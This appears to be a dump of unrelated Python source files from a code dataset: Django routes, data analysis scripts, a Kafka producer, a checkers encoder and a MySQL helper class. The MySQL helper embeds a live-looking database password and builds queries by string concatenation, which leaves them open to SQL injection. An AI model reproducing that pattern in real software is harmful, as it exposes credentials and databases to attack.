'blog/login.html'), name ='login'),\n path('logout/', log_out, name ='logout'),\n path('edit-profile/', editprofile, name ='editprofile'),\n path('userprofile/', userprofile, name ='userprofile'),\n path('register/', register, name ='register'),\n path('contact/', contact, name ='contact'),\n path('my-posts/', my_post, name ='my-post'),\n path('likes', like_mypost, name ='likes'),\n path('create-post/', userpost, name ='userpost'),\n path('like', like_home, name ='likess'),\n path('users-info//', user_details, name ='user_details'),\n path('custom-admin/add-post', admin_add_post, name ='admin_add_post'),\n path('custom-admin-category//update', category_update, name ='category_update'),\n path('custom-admin-category//delete', category_delete, name ='category_delete'),\n path('custom-admin/register', admin_registration, name ='admin_registration'),\n path('custom-admin//update', custom_admin_update, name ='custom_admin_update'),\n path('custom-admin//delete', custom_admin_delete, name ='custom_admin_delete'),\n path('post//user-info/', userdetails, name ='userdetails'),\n path('post//update-post/', update_post, name ='update_post'),\n path('post//delete/', delete_post, name ='delete'),\n path('post/like', like_post, name ='like'),\n # path('edit-profile/', edit_profile, name ='edit_profile'),\n path('change-password/', change_password, name ='change_password'),\n path('my-posts//', mypost_details, name ='my-postDetails'),\n path('post//', Details, name='details'),\n]","sub_path":"blog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2250,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"105936164","text":"balance = 4842\nannualInterestRate = 0.2\nmonthlyPaymentRate = 0.04\n\noriginalBalance = balance\n\nmonthlyLowerBound = balance/12\nmonthlyUpperBound = (balance * (1 + ((annualInterestRate)**12)/12))\nminimumMonthlyPayment = 0\n\nwhile balance != 0:\n balance = originalBalance\n minimumMonthlyPayment = (monthlyLowerBound + monthlyUpperBound)/2\n for month in range (1,13):\n balance = round(balance - (minimumMonthlyPayment), 2) #paying the monthly\n balance = round(balance + (balance * (annualInterestRate / 12)), 2)\n if (balance + .05) < 0:\n monthlyUpperBound = minimumMonthlyPayment\n elif (balance - .05) > 0:\n monthlyLowerBound = minimumMonthlyPayment\n elif -.5 < balance < .5:\n \n #(balance < .05) || (balance > .05):\n break\n\n\nprint(\"Lowest payment: \" + str(round((minimumMonthlyPayment),2)))\n","sub_path":"ProblemSet1/pset1part3.py","file_name":"pset1part3.py","file_ext":"py","file_size_in_byte":860,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"94886742","text":"import os\nfrom Bio import SeqIO\n\nwd = '/Users/songweizhi/Desktop/MBARC26/000/idba_5000'\npwd_blast_results = wd + '/blast_results_MBARC26_idba_5000.tab'\nassemblies_file = wd + '/MBARC26_idba_5000.fa'\n\n\npwd_output_99 = wd + '/MBARC26_idba_5000_99.txt'\n# pwd_output_100 = wd + '/MBARC26_100.txt'\npwd_output_99_sorted = wd + '/MBARC26_idba_5000_99_sorted.txt'\npwd_output_99_sorted_one_line = wd + '/MBARC26_idba_5000_99_sorted_one_line.txt'\n\n# pwd_output_100_sorted = wd + '/MBARC26_100_sorted.txt'\npwd_output_99_uniq = wd + '/Desktop/MBARC26_idba_5000_99_uniq.txt'\n# pwd_output_100_uniq = wd + '/Desktop/MBARC26_100_uniq.txt'\n\n\nblast_results = open(pwd_blast_results)\noutput_99 = open(pwd_output_99, 'w')\n# output_100 = open(pwd_output_100, 'w')\n\n# get matched genomes of each contig\n# total_alignment_length = 0\nfor each in blast_results:\n each = each.strip()\n each_split = each.split('\\t')\n query = each_split[0]\n subject = each_split[1]\n if len(subject) == 4:\n subject = subject[:2]\n identity = each_split[2]\n alignment_length = each_split[3]\n start_point = each_split[6]\n end_point = each_split[7]\n subject_start_point = each_split[8]\n subject_end_point = each_split[9]\n query_length = each_split[-2]\n subject_length = each_split[-1]\n if (int(alignment_length) >= 5000) and (float(identity) >= 99):\n #if (int(alignment_length) == int(query_length)) and (float(identity) >= 99):\n\n # output_99.write('%s\\t%s\\t%s\\t%s\\t%s\\n' % (subject, query, identity, start_point, end_point))\n # output_99.write('%s\\t%s\\t%s\\t%s\\t%s\\t%s\\n' % (query, start_point, end_point, subject, subject_start_point, subject_end_point))\n output_99.write('%s\\t%s\\n' % (query, subject))\n # total_alignment_length += int(alignment_length)\n # if float(identity) == 100:\n # output_100.write('%s\\t%s\\t%s\\n' % (query, subject, identity))\n\noutput_99.close()\n# output_100.close()\n# print(total_alignment_length/(1024*1024))\n\n\n# sort results\nos.system('cat %s | sort > %s' % (pwd_output_99, wd + '/MBARC26_idba_5000_99_sorted.txt'))\n\n\n# put all matched genomes of each contig in one line\nmatched_genomes = open(wd + '/MBARC26_idba_5000_99_sorted.txt')\nmatched_genomes_in_one_line = open(wd + '/MBARC26_idba_5000_99_sorted_one_line.txt', 'w')\n\ncurrent_contig = ''\nmatched_genome_list = []\nfor each_contig in matched_genomes:\n each_contig_split = each_contig.strip().split('\\t')\n contig_name = each_contig_split[0]\n genome_name = each_contig_split[1]\n if current_contig == '':\n current_contig = contig_name\n matched_genome_list.append(genome_name)\n elif current_contig == contig_name:\n if genome_name not in matched_genome_list:\n matched_genome_list.append(genome_name)\n elif current_contig != contig_name:\n if len(matched_genome_list) == 1:\n print('%s\\t%s' % ('\\t'.join(matched_genome_list), current_contig))\n matched_genomes_in_one_line.write('%s\\t%s\\n' % ('\\t'.join(matched_genome_list), current_contig))\n current_contig = contig_name\n matched_genome_list = []\n matched_genome_list.append(genome_name)\nif len(matched_genome_list) ==1:\n print('%s\\t%s' % ('\\t'.join(matched_genome_list), current_contig))\n matched_genomes_in_one_line.write('%s\\t%s\\n' % ('\\t'.join(matched_genome_list), current_contig))\nmatched_genomes_in_one_line.close()\n\n# sort\nos.system('cat %s | sort > %s' % (wd + '/MBARC26_idba_5000_99_sorted_one_line.txt', wd + '/MBARC26_idba_5000_99_sorted_one_line_sorted.txt'))\n\nmatches = open(wd + '/MBARC26_idba_5000_99_sorted_one_line_sorted.txt')\nmatches_one_line = open(wd + '/MBARC26_idba_5000_99_sorted_one_line_sorted_one_line.txt', 'w')\n\ncurrent_genome = ''\ncurrent_contig_list = []\nfor each_match in matches:\n each_match_split = each_match.strip().split('\\t')\n genome_name = each_match_split[0]\n if len(genome_name) == 4:\n genome_name = genome_name[:2]\n contig = each_match_split[1]\n if current_genome == '':\n current_genome = genome_name\n current_contig_list.append(contig)\n elif genome_name == current_genome:\n current_contig_list.append(contig)\n elif genome_name != current_genome:\n matches_one_line.write('%s\\t%s\\n' % (current_genome, '\\t'.join(current_contig_list)))\n current_genome = genome_name\n current_contig_list = []\n current_contig_list.append(contig)\nmatches_one_line.write('%s\\t%s\\n' % (current_genome, '\\t'.join(current_contig_list)))\nmatches_one_line.close()\n\nos.mkdir('%s/output_genomes' % wd)\n\nmatches_one_line = open(wd + '/MBARC26_idba_5000_99_sorted_one_line_sorted_one_line.txt')\n\n\n###\nfor each in matches_one_line:\n each_split = each.strip().split('\\t')\n each_name = each_split[0]\n each_contig_list = each_split[1:]\n handle = open(wd + '/output_genomes/' + each_name + '.fasta', 'w')\n contigs = SeqIO.parse(assemblies_file, 'fasta')\n for each_contig in contigs:\n if each_contig.id in each_contig_list:\n SeqIO.write(each_contig, handle, 'fasta')\n handle.close()\n\nos.system('cat %s/output_genomes/*.fasta > %s/output_genomes/MBARC26_idba_5000_99.fasta' % (wd, wd))\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"temporary/test_1_test.py","file_name":"test_1_test.py","file_ext":"py","file_size_in_byte":5196,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"577062459","text":"import kafka_helpers\nimport helpers\nimport getopt\nimport os\nimport sys\nimport logging\nimport logging.config\nfrom kafka.errors import KafkaError\nimport json\n\n\ndef usage():\n print(\"Usage: python producer.py [-l -v]\")\n\n\ndef get_data():\n\n try:\n data_file = open(\"accounts.json\", \"r\")\n data = json.loads(data_file.read())\n return data\n except IOError as e:\n raise RuntimeError(f\"Got an error trying to read data: {e}\")\n\n\ndef run_producer(topic_name, logger):\n \"\"\" This function will create a Kafka producer, then read JSON data\n from file and send messages to the specific topic \"\"\"\n\n try:\n # create kafka producer\n producer = kafka_helpers.get_kafka_producer()\n logger.debug(\"Created Kafka Producer\")\n\n # read data from file and send each item there as a separate msg\n data = get_data()\n for item in data:\n logger.debug(item)\n producer.send(topic_name, item)\n logger.info(f\"Sent {len(data)} messages\")\n producer.flush()\n except KafkaError as e:\n logger.error(\"Got an error while sending messages\")\n logger.error(e)\n except Exception as e:\n logger.error(f\"Encountered an error: {e}\")\n\n\ndef main(argv):\n # get command line arguments\n try:\n opts, args = getopt.getopt(argv, \"t:lv\")\n file_name = None\n log_level = logging.ERROR\n topic_name = None\n for opt, arg in opts:\n if opt == \"-t\":\n topic_name = arg\n elif opt == \"-l\":\n file_name = \"producer.log\"\n elif opt == \"-v\":\n log_level = logging.DEBUG\n\n # make sure required argument is speficied\n if(topic_name is None):\n logger.error(\"Missing required arguments\")\n usage()\n sys.exit()\n\n logger = helpers.create_logger(file_name, log_level)\n run_producer(topic_name, logger)\n\n except getopt.GetoptError as err:\n print(err)\n usage()\n sys.exit(2)\n\n logging.debug(\"Exiting\")\n\n\nif __name__ == \"__main__\":\n\n main(sys.argv[1:])\n","sub_path":"producer.py","file_name":"producer.py","file_ext":"py","file_size_in_byte":2122,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"258848833","text":"import MySQLdb\n\nclass SQLighter:\n def __init__(self):\n self.conn = MySQLdb.connect(\"ericweget.mysql.pythonanywhere-services.com\",\"ericweget\",\"BDclick!2408\",\"ericweget$default\",charset = \"utf8\", use_unicode = True)\n self.c = self.conn.cursor()\n\n def getLastRow(self, table_name):\n self.c.execute(\"SELECT * FROM `%s` ORDER BY id DESC LIMIT 1;\"% (table_name))\n self.conn.commit()\n\n return self.c.fetchone()\n\n def create_table(self, table_name):\n try:\n self.c.execute(\"DROP TABLE IF EXISTS %s\"% (table_name))\n self.c.execute(\"CREATE TABLE IF NOT EXISTS `%s` (`id` int(11) NOT NULL AUTO_INCREMENT,`ANSW_QUESTION_CODE` varchar(50) NOT NULL,`ANSW_ANSWER_CODE` varchar(50) NOT NULL,PRIMARY KEY (`id`),UNIQUE KEY `ANSW_QUESTION_CODE` (`ANSW_QUESTION_CODE`)) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 \"% (table_name))\n finally:\n self.c.close()\n self.conn.close()\n\n def createStateLogTable(self, table_name):\n try:\n self.c.execute(\"DROP TABLE IF EXISTS %s\"% (table_name))\n self.c.execute(\"CREATE TABLE IF NOT EXISTS `%s` (`id` int(11) NOT NULL AUTO_INCREMENT,`SL_PREVIOUS_STATE_CODE` varchar(255) NOT NULL,`SL_EVENT_CODE` varchar(255) NOT NULL, `SL_CURRENT_STATE_CODE` varchar(255) NOT NULL,PRIMARY KEY (`id`)) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 \"% (table_name))\n self.c.execute(\"INSERT INTO `%s` (`SL_PREVIOUS_STATE_CODE`, `SL_EVENT_CODE`, `SL_CURRENT_STATE_CODE`) VALUES ('s_000_v__init_state', 'v_00', 's_000_v__init_state')\"% (table_name))\n self.conn.commit()\n finally:\n self.c.close()\n self.conn.close()\n\n def getByQuestionCode(self, question_code):\n\n self.c.execute(\"SELECT * FROM answer_01 WHERE ANSW_QUESTION_CODE = '\" + question_code + \"'\")\n self.conn.commit()\n\n return self.c.fetchone()\n\n def sel_from(self,m):\n try:\n return self.c.execute(\"SELECT * FROM testtable WHERE id =(%s)\"% (m))\n finally:\n self.c.close()\n self.conn.close()\n\n def insert(self,query):\n try:\n self.c.execute(query)\n self.conn.commit()\n finally:\n self.c.close()\n self.conn.close()\n def update(self,q,m,z):\n try:\n data = (m,z)\n self.c.execute(q,data)\n self.conn.commit()\n rows =self.c.fetchall()\n return rows\n finally:\n self.c.close()\n self.conn.close()\n def returnany(self,q,m):\n try:\n data = (m,)\n self.c.execute(q,data)\n self.conn.commit()\n rows =self.c.fetchall()\n return rows\n finally:\n self.c.close()\n self.conn.close()\n def update2var(self,q,m,z,x):\n try:\n data = (m,z,x)\n self.c.execute(q,data)\n self.conn.commit()\n rows =self.c.fetchall()\n return rows\n finally:\n self.c.close()\n self.conn.close()\n\n\n","sub_path":"classes/dbclasses.py","file_name":"dbclasses.py","file_ext":"py","file_size_in_byte":3137,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"575874675","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Jun 20 15:48:57 2021\n\n@author: ryan\n\"\"\"\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nfrom scipy.stats import zscore, pearsonr, linregress\nimport csv\nimport matplotlib\n\n\nfont_size_of_the_code = 12#24\nfont = {'family' : 'normal',\n 'weight' : 'bold',\n 'size' : font_size_of_the_code}\nmatplotlib.rc('font', **font)\n\n\ndef translist(x):\n return [list(i) for i in zip(*x)]\n\n\n\n\n \n\n\"\"\"\nCYTOKINE DATA\n\"\"\"\ncsv_file = open('PredictionData/AllMedianData.csv')\nread_tsv = csv.reader(csv_file, delimiter=\",\")\ndata = []\nfor row in read_tsv:\n data.append(row)\ncsv_file.close()\n\nCytokine = data[0][1:]\nSample = tuple(map(lambda x: x[0], data))[1:]\nSample = Sample[:-2]\nAmount = tuple(map(lambda x: tuple(map(lambda y: float(y),x[1:])), data[1:]))\nZeros = tuple(map(lambda x, y: (x+y)*0.5, Amount[-2], Amount[-1]))\n\n \nAmount = tuple(map(lambda x: tuple(map(lambda y, z: max([y-z,0]), x, Zeros)), Amount[:-2]))\nSample = [Sample[i] for i in range(len(Sample)) if not i==10]\nAmount = [[j - k for j,k in zip(Amount[i],Amount[10])] for i in range(len(Amount)) if not i==10]\n\ndef ModifyName(x):\n p1 = 'UC'*('UC' in x.upper())+'BM'*('BM' in x.upper())\n p2 = x[x.find('P'):x.find('P')+2]\n p3 = 'LD'*('LOW DENSITY' in x.upper())+'HD'*('HIGH DENSITY' in x.upper())\n if not p3:\n p3 = 'VD'\n return p1+'-'+p2+'-'+p3\nsamps = [ModifyName(i) for i in Sample]\n\n \ndef UCsampleHCRfinder(x):\n return max([x[0].endswith(', alpha-mem, collagen, '+i) and not 'P2' in x[0] and not 'BM' in x[0] for i in ['low density 1','low density 2','high density']])\ndef BMsampleHCRfinder(x):\n return max([x[0].endswith(', alpha-mem, collagen, '+i) and not 'P2' in x[0] and not 'UC' in x[0] for i in ['low density 1','low density 2','high density 1'] if not 'P2' in i])\nSamps, amount = tuple(translist(sorted(translist([Sample, Amount]), key = lambda x: 'uc' in x[0].lower())))\nUCSamps, UCamount = tuple(translist(filter(UCsampleHCRfinder, translist([Samps, amount]))))\nBMSamps, BMamount = tuple(translist(filter(BMsampleHCRfinder, translist([Samps, amount]))))\nSamps = UCSamps + BMSamps\namount = UCamount + BMamount\nHCRcytes, amount = tuple(translist(filter(lambda x: x[0] in ['Eotaxin','IL-8','IL-6'],translist([Cytokine, translist(amount)]))))\ndef FixNames(x):\n return x[:2]+' '+x[x.rfind(',')+2].upper()+'D'+x[-1]*(x[x.rfind(',')+2]=='l')\nSamps = [FixNames(i) for i in Samps]\nHCRcytes[0] = HCRcytes[0]+'\\n/ccl11'\namount = [i[::-1] for i in amount]\nSamps = Samps[::-1]\nHCRcytes = HCRcytes[::-1]\namount = amount[::-1]\ny = amount\n\n\ntotsexp = []\nfor typ in ['BM','UC']:\n for samp in ['05_12'+typ+'low_dense',typ,'05_12'+typ+'high_dense']:\n with open('RNAcounts'+samp+'.txt') as f:\n lines = f.readlines()\n gene = lines[0].split()\n eee = np.mean([[float(j) for j in i.split()] for i in lines[1:]],axis=0)\n totsexp.append([eee[gene.index('il8')],eee[gene.index('il6')],eee[gene.index('ccl11')]]) \namount = np.array(totsexp).T\nx = amount\n\n\"\"\"\nCalculates a Pearson correlation coefficient and the p-value for testing non-correlation.\n\nThe Pearson correlation coefficient measures the linear relationship between two datasets.\nStrictly speaking, Pearson’s correlation requires that each dataset be normally distributed.\nLike other correlation coefficients, this one varies between -1 and +1 with 0 implying no correlation.\nCorrelations of -1 or +1 imply an exact linear relationship.\nPositive correlations imply that as x increases, so does y.\nNegative correlations imply that as x increases, y decreases.\n\nThe p-value roughly indicates the probability of an uncorrelated system producing datasets that have a Pearson correlation at least as extreme as the one computed from these datasets.\nThe p-values are not entirely reliable but are probably reasonable for datasets larger than 500 or so.\n\nTHIS FIGURE SHOWS HOW WELL HCR CORROLATES WITH LUMINEX\n\"\"\"\nfig, ax = plt.subplots(figsize=(8, 6))\ncCoOlLoOrRsS = ['yellow','cyan','magenta']\nleg = []\nfor i,j in enumerate(cCoOlLoOrRsS):\n plt.scatter(x[i]/np.max(x[i]),y[i]/np.max(y[i]),c=j,linewidths=20)\n leg.append(HCRcytes[i]+': r = '+str(pearsonr(x[i],y[i])[0])[:5]+', p = '+str(pearsonr(x[i],y[i])[1])[:5])\nplt.legend(leg)\nplt.xlabel('HCR')\nplt.ylabel('Luminex')\nplt.title('Pearson Correlation')\nax.set_xticks([])\nax.set_yticks([])\nplt.savefig('Quantification/HCR_Luminex_Pearson.png')\nplt.show()\n\n","sub_path":"CodeByFigure/FigS53.py","file_name":"FigS53.py","file_ext":"py","file_size_in_byte":4495,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"220969558","text":"from rest_framework import routers\n\nfrom .api import StudentViewSet, SchoolViewSet, MajorViewSet\n\nrouter = routers.DefaultRouter()\nrouter.register('students', StudentViewSet, base_name='students')\nrouter.register('schools', SchoolViewSet, base_name='schools')\nrouter.register('majors', MajorViewSet, base_name='majors')\n\nurlpatterns = router.urls\n","sub_path":"students/api/api_urls.py","file_name":"api_urls.py","file_ext":"py","file_size_in_byte":347,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"231409167","text":"# -*- coding: utf-8 -*-\nfrom django.conf.urls import patterns, include, url\nfrom django.views.generic.base import TemplateView\n\nurlpatterns = patterns('apps.hotel.views',\n #Edit by Chuang, hotel supplier urls\n url(r'^hotelEdit$', 'display'),\n url(r'^changeHotelInfo$', \"change_eliment\"),\n url(r'^uploadHotelCert$', \"upload_cert\"),\n url(r'^uploadHotel$', \"upload_hotel\"),\n url(r'^showCert$', \"show_cert_pic\"),\n url(r'^showHotel$', \"show_hotel_pic\"),\n url(r'^showHchar$', \"show_hotel_char\"),\n url(r'^cityCommit', \"city_commit\"),\n url(r'^deleteHotelPic', \"delete_hotel_pic\"),\n url(r'^deleteHotelCertPic', \"delete_cert_pic\"),\n url(r'^showHType$', \"show_h_type\"),\t\n\t\n)\n","sub_path":"apps/hotel/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":700,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"85806068","text":"\nimport csv\nfrom dateutil import parser\n\n\nclass StationActivity:\n\n # The list of stations that I care above in this sittuation\n stationNames={\n '596':\"Benson Ave & Church St\",\n '597':\"Chicago Ave & Washington St\",\n '598':\"Sherman Ave & Austin St\",\n '600':\"Dodge & Church\",\n '601':\"Central Metra\",\n '602':\"Central CTA/Hospital\",\n '603':\"Arch\",\n '604':\"Tech\",\n '605':\"Library\"\n }\n\n\n # Inject Summary use. This will hold tallies of \n # individual stations.\n stationUseSummary={}\n \n # Data container. Holds value of CSV in memory\n data=[]\n\n # Constructor. Loads data into the object. Reads CSV\n # file and puts it into a List/Array\n def __init__(self):\n \n with open('data.csv', 'rb') as f:\n reader = csv.reader(f)\n for row in reader:\n self.data.append(row)\n \n # init station use summary variable. \n for n in self.stationNames:\n self.stationUseSummary[n] = {\n 'count':0,\n 'name':self.stationNames[n],\n 'weekday': {}, \n 'hourofday': {}\n }\n for day in range(0, 7):\n self.stationUseSummary[n]['weekday'][day]=0\n for hour in range(0, 24):\n self.stationUseSummary[n]['hourofday'][hour]=0\n \n # Returns station name\n def getStationName(self, id):\n return self.stationNames[id]\n\n # Process individual station. Reduces data set down to when bikes where returned\n # or checked out. Only returns lines with different values for bikes.\n def processStation(self, id):\n set =[]\n thisline=''\n lastLine=''\n\n # loop over data\n for line in self.data:\n\n # is this the station id we want to investigate\n if line[0] == id:\n thisline = self.getNumberOfBikes(line)\n\n\n # Are the number of bikes between this line and\n # the last line different? If so add it to the set\n if thisline != lastLine:\n line[3]=''\n line[4]=self.produceBarGraph(line[4], 15, 'L')\n line[5]=self.produceBarGraph(line[5], 15, 'R')\n set.append(line)\n\n # station summary - count\n self.stationUseSummary[id]['count'] += 1\n\n # station summary - day of week\n self.stationUseSummary[id]['weekday'][parser.parse(line[1]).weekday()] += 1\n \n # station summary - hour of day\n self.stationUseSummary[id]['hourofday'][parser.parse(line[1]).hour] += 1\n\n # Save current line into lastLine variable to compare\n # against the next line\n lastLine = thisline\n\n # return set\n return set\n\n\n # Helper to return bike count. Easier than remembering\n # the correct index.\n def getNumberOfBikes(self, line):\n station_id, dtstamp, n, status, bikes, docks = line\n return bikes\n\n # I don't any network connection. Doing a visual \n # seems fun \n def produceBarGraph(self, amount, max, direction):\n bar_chart=''\n blank_chart=''\n \n # append an X for each amount \n for count in range(1, int(amount)):\n bar_chart+='X'\n\n # append blank character mark calculate \n for blank_count in range(1, max - int(amount)):\n blank_chart+='_'\n\n # Which direction should we report the chart back to achieve a \n # back to back feel the output\n if (direction=='R'):\n return bar_chart + blank_chart\n else:\n return blank_chart + bar_chart\n\n","sub_path":"stationactivity.py","file_name":"stationactivity.py","file_ext":"py","file_size_in_byte":3800,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"515799267","text":"\"\"\"Defines functions for encoding/decoding board states and moves in a standard format suitable for input to the network.\n\nBoard state is encoded as a sequence of 128 values, each with a value of '0' or '1'. They are ordered as follows:\n\nFor each of the 32 squares in ascending order:\n1. Does a white piece (or king) occupy the square\n2. Does a white king occupy the square\n3. Does a black piece (or king) occupy the square\n4. Does a black king occupy the square\n\nA move can be encoded either as a one-hot sequence of 128 binary values, or as a single integer representing the index of the hot value. The values are ordered as follows:\n\nFor each of the 32 squares in ascending order:\n1. Move the piece occupying the square in the forward-left direction (from the perspective of the moving color)\n2. Move the piece occupying the square in the forward-right direction\n3. Move the piece occupying the square in the backward-right direction\n4. Move the piece occupying the square in the backward-left direction\n\n\"\"\"\n\nimport move_utils\nimport board\n\ndef encodeState(board):\n \"\"\"Return the board's encoded state.\n\n Parameters\n ----------\n board : board.Board\n A Board object containing the current board state.\n\n Returns\n -------\n list of int\n A 128-element list containing the state of the board.\n\n \"\"\"\n output = [0 for _ in range(128)]\n\n for square in range(32):\n if board.getSquare(square + 1).lower() == 'w':\n output[square * 4] = 1\n\n if board.getSquare(square + 1).isupper():\n output[square * 4 + 1] = 1\n\n elif board.getSquare(square + 1).lower() == 'b':\n output[square * 4 + 2] = 1\n\n if board.getSquare(square + 1).isupper():\n output[square * 4 + 3] = 1\n\n return output\n\ndef decodeState(state):\n \"\"\"Return a board.Board object with the given state.\n\n Parameters\n ----------\n state : list of int\n A 128-element list containing the state of the board.\n\n Returns\n -------\n board : board.Board\n\n \"\"\"\n bd = board.Board()\n\n for i in range(32):\n if state[i * 4]:\n if state[i * 4 + 1]:\n bd.setSquare(i + 1, 'W')\n else:\n bd.setSquare(i + 1, 'w')\n elif state[i * 4 + 2]:\n if state[i * 4 + 3]:\n bd.setSquare(i + 1, 'B')\n else:\n bd.setSquare(i + 1, 'b')\n else:\n bd.setSquare(i + 1, '_')\n\n return bd\n\ndef encodeMoveAsIndex(board, source, target):\n \"\"\"Return the index encoding for a single-jump move.\n\n Parameters\n ----------\n board : board.Board\n A Board object containing the current board state.\n source : int\n The source square of the jump, using the standard checkers board numbering convention.\n target : int\n The final square of the jump, using the standard checkers board numbering convention.\n\n Returns\n -------\n int\n\n \"\"\"\n direction = 0\n adjacents = move_utils.getAdjacent(source, True if board.getSquare(source).lower() == 'w' else False) + move_utils.getAdjacent(source, False if board.getSquare(source).lower() == 'w' else True)\n captures = move_utils.getCaptures(board, source)\n\n for j, m in enumerate(adjacents):\n if m == target:\n direction = j\n break\n else:\n for j, m in enumerate(captures):\n if m == target:\n direction = j\n break\n\n return (source - 1) * 4 + direction\n\ndef decodeMoveFromIndex(board, index):\n \"\"\"Return source and target squares for an index-encoded move.\n\n Parameters\n ----------\n board : board.Board\n A Board object containing the current board state.\n index : int\n The index encoding for a single-jump move\n\n Returns\n -------\n tuple of int\n A two element tuple containing the source and target squares of the move.\n\n \"\"\"\n source = index // 4 + 1\n direction = index % 4\n\n captures = move_utils.getCaptures(board, source)\n\n if captures[direction] != 0:\n return (source, captures[direction])\n else:\n adjacents = move_utils.getAdjacent(source, True if board.getSquare(source).lower() == 'w' else False) + move_utils.getAdjacent(source, False if board.getSquare(source).lower() == 'w' else True)\n return (source, adjacents[direction])","sub_path":"encoding.py","file_name":"encoding.py","file_ext":"py","file_size_in_byte":4393,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"178296582","text":"from threading import Thread\r\nfrom PIL import ImageGrab, Image\r\nfrom time import sleep\r\nimport numpy as np\r\nfrom colorsys import rgb_to_hsv\r\nfrom useGUI import pressKey\r\n\r\nclass WatchHP(Thread):\r\n def __init__(self, offset):\r\n super(WatchHP, self).__init__()\r\n x1, y1 = offset[\"start\"]\r\n x2, y2 = offset[\"end\"]\r\n size_1 = offset[\"size_1\"]\r\n self.HPArea = (x1 + size_1*3, y2, x1 + size_1*6, y2 + size_1)\r\n\r\n def run(self):\r\n while True:\r\n img = ImageGrab.grab(bbox=self.HPArea)\r\n\r\n average_color_per_row = np.average(img, axis=0)\r\n average_color = np.average(average_color_per_row, axis=0)\r\n average_color = np.uint8(average_color)\r\n # average_color_img = np.array([[average_color] * 500] * 500, np.uint8)\r\n # Image.fromarray(average_color_img).save('data/average_color_img2.png')\r\n # print(type(average_color))\r\n\r\n # Full HP [152 86 86] -> Low HP [94 94 94]\r\n # (0.0, 0.43421052631578944, 0.596078431372549) -> (0.0, 0.0, 0.3686274509803922)\r\n average_hsv = rgb_to_hsv(average_color[0]/255, average_color[1]/255, average_color[2]/255)\r\n if (average_hsv[1] < 0.1) and (average_hsv[2] < 0.4):\r\n print(\"HP low\", average_hsv)\r\n pressKey(\"1\", interval=0) # Use Azalea\r\n elif average_hsv[2] < 0.2: # Lightness is lower than 0.2\r\n print(\"HP low\", average_hsv)\r\n pressKey(\"1\", interval=0) # Use Azalea\r\n\r\n sleep(0.5)\r\n","sub_path":"watchHP.py","file_name":"watchHP.py","file_ext":"py","file_size_in_byte":1571,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"589046231","text":"import cv2\nimport numpy as np\n\n\nclass ImageViewer(object):\n \"\"\"\n Class to simplify displaying images using opencv windows. Also has\n functionality to resize images automatically if desired\n\n On some systems (or opencv builds), openCV requires a waitkey to be\n called before displaying the image. This functionality is built in\n the view function with the argument 'force_waitkey'\n\n\n Instantian Args:\n window_name (str): the name of the window\n size (2 element tuple, None): (height, width) to resize image to\n interpolation (cv2 constant): cv2 interpolation flag for resizing\n enable_frame_counter (bool): whether or not to enable frame counter\n\n Attributes:\n window_name: name of the cv2 window\n size: size the images are being resized to\n interpolation: type of interpolation being usef for resizing\n enable_frame_counter: whether or not the frame counter is enabled\n frame_counter: index of the frame currently displayed\n\n \"\"\"\n\n def __init__(self,\n window_name,\n size=None,\n interpolation=cv2.INTER_NEAREST,\n enable_frame_counter=False):\n self.window_name = str(window_name)\n self.size = size\n self.interpolation = interpolation\n self.enable_frame_counter = enable_frame_counter\n self.open()\n self.frame_counter = 1\n\n def open(self):\n \"\"\"\n opens the image viewer, automatically called in __init__\n input::\n None\n return::\n None\n \"\"\"\n cv2.namedWindow(self.window_name, cv2.WINDDW_AUTOSIZE)\n\n def view(self, frame, force_waitkey=True):\n \"\"\"\n displays the frame passed into it, reopens itself if it\n input::\n frame (np.ndarray): image to be displayed\n return::\n force_waitkey (int) = 1:\n if greater than zero, then call a waitkey for the\n duration of the time given. this is required on some\n systems to display the image properly.\n \"\"\"\n assert isinstance(frame, np.ndarray), \"'frame' must be a numpy array\"\n assert frame.ndim in [2, 3], \"'frame' must be a 2D or 3D array\"\n assert isinstance(force_waitkey, (int, float)),\\\n \"'force_waitkey' must be an integer\"\n\n if isinstance(self.size, (tuple, list)):\n frame = cv2.resize(frame,\n dsize=(self.size[1], self.size[0]),\n interpolation=self.interpolation)\n\n # add a frame counter to an image thin\n if self.enable_frame_counter:\n frame = cv2.putText(frame,\n text=str(self.frame_counter),\n org=(0, 0), # using bottem left origin\n fontFace=cv2.FONT_HERSHEY_SIMPLEX,\n fontScale=4,\n color=(255, 255, 255),\n thickness=2,\n bottomLeftOrigin=True)\n\n # displaying the image\n cv2.imshow(self.window_name, frame)\n if force_waitkey:\n cv2.waitKey(force_waitkey)\n\n self.frame_counter += 1\n\n def enable_frame_counter(self):\n \"\"\"enable the frame counter\"\"\"\n self.enable_frame_counter = True\n\n def disable_frame_counter(self):\n \"\"\"disable the frame counter\"\"\"\n self.enable_frame_counter = False\n\n def close(self):\n \"\"\"\n closes the image viewing window\n input::\n None\n return::\n None\n \"\"\"\n cv2.destroyWindow(self.window_name)\n","sub_path":"core/ImageViewer.py","file_name":"ImageViewer.py","file_ext":"py","file_size_in_byte":3718,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} 